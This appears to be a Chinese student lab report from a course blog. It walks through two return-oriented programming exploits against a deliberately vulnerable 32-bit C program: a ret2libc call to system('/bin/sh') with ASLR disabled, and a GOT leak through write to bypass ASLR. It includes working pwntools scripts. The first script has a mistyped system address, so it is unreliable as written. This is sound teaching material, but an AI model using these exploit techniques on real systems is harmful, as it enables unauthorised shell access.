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漏洞分析技术实验二.html
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漏洞分析技术实验二
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<h1 id="实验目标"><a href="#实验目标" class="headerlink" title="实验目标"></a>实验目标</h1><p>掌握如何利用ROP技术绕过安全保护机制。</p>
<h1 id="实验内容要求"><a href="#实验内容要求" class="headerlink" title="实验内容要求"></a>实验内容要求</h1><ol>
<li>基于讲义实验一中的<code>rop1.c</code>，在关闭栈保护canary和ASLR内存地址随机化保护，开启NX保护的条件下，编写可用的ROP脚本对程序流进行劫持，从而执行<code>system(/bin/sh)</code>获得shell。要求详细分析ROP的原理，对漏洞利用详细过程进行详细的截图分析，并提供可在所提供虚拟机环境中可执行的脚本，以供实际验证；</li>
<li>基于讲义实验二中的<code>rop1.c</code>，编译为32位程序。在关闭栈保护canary，开启NX保护和ASLR内存地址随机化保护的条件下，编写可用的ROP脚本对程序流进行劫持，从而执行<code>system(/bin/sh)</code>获得shell。要求详细分析ROP的原理，对漏洞利用详细过程进行详细的截图分析，并提供可在所提供虚拟机环境中可执行的脚本，以供实际验证；<span id="more"></span></li>
</ol>
<h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><ol>
<li>Linux操作系统</li>
<li>python语言环境</li>
<li>gdb调试器</li>
<li>IDA Pro</li>
</ol>
<h1 id="实验过程"><a href="#实验过程" class="headerlink" title="实验过程"></a>实验过程</h1><h2 id="实验一"><a href="#实验一" class="headerlink" title="实验一"></a>实验一</h2><h3 id="关闭canary和ASLR，开启NX"><a href="#关闭canary和ASLR，开启NX" class="headerlink" title="关闭canary和ASLR，开启NX"></a>关闭canary和ASLR，开启NX</h3><p>关闭栈保护canary和ASLR内存地址随机化保护，开启NX保护，编译<code>rop1.c</code>到rop1；</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack</span><br><span class="line">sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"</span><br><span class="line">gcc rop1.c -o rop1 -m32 -fno-stack-protector</span><br><span class="line">checksec rop1</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021151107.png"></p>
<h3 id="查看NX保护"><a href="#查看NX保护" class="headerlink" title="查看NX保护"></a>查看NX保护</h3><p>rop2进程栈的权限为**<code>rw</code>**，不可执行</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021151359.png"></p>
<h3 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h3><p>程序源代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="type">void</span> <span class="title function_">vuln</span><span class="params">()</span>{</span><br><span class="line"> <span class="type">char</span> buf[<span class="number">128</span>];</span><br><span class="line"> read(<span class="number">0</span>,buf,<span class="number">256</span>);</span><br><span class="line">}</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>{</span><br><span class="line"> vuln();</span><br><span class="line"> write(<span class="number">1</span>,<span class="string">"hello rop\n"</span>,<span class="number">10</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>数组buf大小为128字节，但是read函数读进256字节，因此可以利用缓冲区溢出漏洞对程序流进行劫持攻击。可以通过向buf里面填充大于128字节的数据造成缓冲区溢出，并且覆盖vuln函数的返回地址为buf数组，使程序执行buf数组里的恶意代码。</p>
<p>但是由于开启了NX保护，不能在栈中执行代码，因此不能直接把shellcode写在栈中执行，只能调用系统函数达到getshell的目的。</p>
<ul>
<li>程序中用到了libc库中的read和printf函数。<code>libc.so</code>中保存了大量的可用函数，可以调用<code>system('/bin/sh')</code>来获取shell；</li>
<li>关闭了ASLR后，system函数在内存中地址不会发生变化；</li>
</ul>
<h3 id="详细分析"><a href="#详细分析" class="headerlink" title="详细分析"></a>详细分析</h3><ol>
<li><p>查看vuln函数的地址；</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021150411.png"></p>
</li>
<li><p>确定覆盖字节数</p>
<p>buf的存储地址是<code>ebp-0x88</code>，根据上图汇编代码，栈抬高了<code>0x88+0x4 = 0x8c</code>个字节，因此需要在栈中填充<code>0x8c</code>个字节的数据来覆盖返回地址；</p>
</li>
<li><p>在vuln函数处设置断点并且运行；</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021150733.png"></p>
</li>
<li><p>查看系统函数地址为<code>0xf7e40da0</code>；<img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021140529.png"></p>
</li>
<li><p>查看libc的起始地址为<code>0xf7e06000</code>，结束地址为<code>0xf7fb9000</code>；</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021140820.png"></p>
</li>
<li><p>在libc中查找<code>/bin/sh</code>命令的地址为<code>0xf7f61a0b</code>；</p>
<p><img src="C:\Users\Levi\AppData\Roaming\Typora\typora-user-images\1571638322283.png" alt="1571638322283"></p>
</li>
</ol>
<h3 id="构造ROP"><a href="#构造ROP" class="headerlink" title="构造ROP"></a>构造ROP</h3><ol>
<li><p>payload结构为<code>0x8c字节的数据+系统函数地址+任意返回地址+/bin/sh的地址</code>，先 填充<code>0x8c</code>字节的数据，然后调用系统函数，以<code>/bin/sh</code>作为参数，即</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'a'</span>*<span class="number">0x8c</span> + p32(<span class="number">0xf7e40da0</span>) + p32(任意地址) + p32(<span class="number">0xf7f61a0b</span>)</span><br></pre></td></tr></table></figure></li>
<li><p>payload脚本如下</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p = process(<span class="string">'./rop2'</span>)</span><br><span class="line">sys_addr = <span class="number">0xf7e40da</span></span><br><span class="line">binsh_addr = <span class="number">0xf7f61a0b</span></span><br><span class="line">payload = <span class="string">'a'</span>*<span class="number">0x8c</span> + p32(sys_addr) + p32(<span class="number">0x11111111</span>) + p32(binsh_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></li>
</ol>
<h3 id="执行脚本"><a href="#执行脚本" class="headerlink" title="执行脚本"></a>执行脚本</h3><p>顺利执行<code>ls</code>命令，漏洞利用成功。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021145734.png"></p>
<h2 id="实验二"><a href="#实验二" class="headerlink" title="实验二"></a>实验二</h2><h3 id="关闭canary，开启ASLR和NX"><a href="#关闭canary，开启ASLR和NX" class="headerlink" title="关闭canary，开启ASLR和NX"></a>关闭canary，开启ASLR和NX</h3><p>关闭栈保护canary，开启ASLR内存地址随机化保护和NX保护，编译<code>rop1.c</code>到rop2；</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gcc rop1.c -o rop2 -m32 -fno-stack-protector -z execstack</span><br><span class="line">sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"</span><br><span class="line">gcc rop1.c -o rop2 -m32 -fno-stack-protector</span><br><span class="line">checksec rop2</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021152832.png"></p>
<p> 此时动态库的基址是会发生变化的；</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021154338.png"></p>
<h3 id="思路分析"><a href="#思路分析" class="headerlink" title="思路分析"></a>思路分析</h3><ul>
<li><p>利用write函数打印出write函数对应的got表里的内容，只要打印got表中存在的函数的地址就可以计算出libc的基址；</p>
</li>
<li><p>虽然write函数的地址并不是固定的，但是程序本身使用过这个函数，所以PLT表里一定有这个函数，PLT表又属于本身程序的代码段，在没有开启PIE的情况下，write函数对应的PLT表项的地址是确定的；</p>
</li>
<li><p>同理GOT表项的地址也是不变的，变的只是GOT表项的内容；</p>
</li>
<li><p>可以将返回地址覆盖为write函数对应的PLT表的地址，参数布置为<code>0x1</code>，write函数对应的got表项的地址，参数布置为<code>0x4</code>，其中<code>0x1</code>是标准输出（即从终端显示输出结果），<code>0x4</code>是输出的长度 ;</p>
</li>
<li><p>再将write函数的返回地址布置为vuln这个函数的地址，执行完write函数后，返回到vuln函数，进行二次溢出，获得shell，其中vuln函数地址为<code>0x0804843b</code>；</p>
<img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021201744.png" style="zoom:150%;" /></li>
<li><p>使用IDA找到write函数对应的PLT表项的地址为<code>0x08048320</code>；</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021160415.png"></p>
</li>
<li><p>使用IDA找到write函数对应的GOT表项的地址为<code>0x0804A014</code>；</p>
<p><img src="C:\Users\Levi\AppData\Roaming\Typora\typora-user-images\1571645227781.png" alt="1571645227781"></p>
</li>
<li><p>覆盖前的堆栈结构为</p>
<img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021161041.png" style="zoom:80%;" /></li>
<li><p>覆盖后的堆栈结构为</p>
<img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021161258.png" style="zoom:67%;" /></li>
<li><p>打印出write 的地址后，计算出system函数的地址，然后利用二次栈溢出，覆盖返回地址为system函数地址，布置参数为<code>/bin/sh</code>字符串的首地址。<br> <code>/bin/sh</code>这个字符串也可以在libc中找到。</p>
</li>
</ul>
<h3 id="构造ROP脚本如下"><a href="#构造ROP脚本如下" class="headerlink" title="构造ROP脚本如下"></a>构造ROP脚本如下</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">libc = ELF(<span class="string">"libc.so.6"</span>)</span><br><span class="line">p = process(<span class="string">"./rop2"</span>)</span><br><span class="line">plt_write = <span class="number">0x08048320</span> <span class="comment">#write函数的plt地址</span></span><br><span class="line">vuln_addr = <span class="number">0x0804843b</span> <span class="comment">#vuln函数的地址</span></span><br><span class="line">got_write = <span class="number">0x0804A014</span> <span class="comment">#write函数的got地址</span></span><br><span class="line">payload = <span class="string">'a'</span>*<span class="number">0x8c</span>+p32(plt_write)+p32(vuln_addr)+p32(<span class="number">1</span>)+p32(got_write)+p32(<span class="number">4</span>)</span><br><span class="line">p.send(payload) <span class="comment">#构造并发送第一次的payload</span></span><br><span class="line">write_addr = u32(p.recv(<span class="number">4</span>)) <span class="comment">#接受返回的write函数的地址</span></span><br><span class="line">libc_base = write_addr - libc.symbols[<span class="string">"write"</span>] <span class="comment">#根据相对地址不变，计算libc基址</span></span><br><span class="line">system_addr = libc_base + libc.symbols[<span class="string">"system"</span>] <span class="comment">#计算system函数地址</span></span><br><span class="line">binbash_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">"/bin/sh"</span>)) <span class="comment">#计算/bin/sh地址</span></span><br><span class="line">payload = <span class="string">'a'</span>*<span class="number">0x8c</span> + p32(system_addr) + p32(<span class="number">1</span>) + p32(binbash_addr)</span><br><span class="line">p.send(payload) <span class="comment">#构造并发送第二次的payload</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
<h3 id="执行脚本-1"><a href="#执行脚本-1" class="headerlink" title="执行脚本"></a>执行脚本</h3><p>顺利执行<code>ls</code>、<code>whoami</code>等命令，漏洞利用成功。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20191021202654.png"></p>
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